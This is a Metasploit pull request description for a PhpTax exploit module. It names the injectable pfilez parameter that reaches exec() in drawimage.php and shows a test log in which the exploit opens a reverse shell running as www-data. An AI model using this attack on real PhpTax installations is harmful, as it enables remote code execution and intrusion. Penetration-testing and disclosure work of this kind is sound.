rapid7/metasploit-framework — pull request #873 by wchen-r7 (2012-10-08 17:49:49+00:00)
Title: Add PhpTax pfilez exec module

This module exploits a vuln found in PhpTax. When generating a PDF, the icondrawpng() function in drawimage.php does not properly handle the pfilez parameter, which will be used in a exec() statement, and results in arbitrary code execution.

Test:

msf exploit(phptax_exec) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 10.0.1.580 - Sending request...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XKIxxuB3YxoD9ozE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "XKIxxuB3YxoD9ozE\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 2 opened (10.0.1.3:4444 -> 10.0.1.5:52472) at 2012-10-08 12:45:33 -0500
[*] Command: echo waVTbmrWXre4wbJb;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "waVTbmrWXre4wbJb\r\n"

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)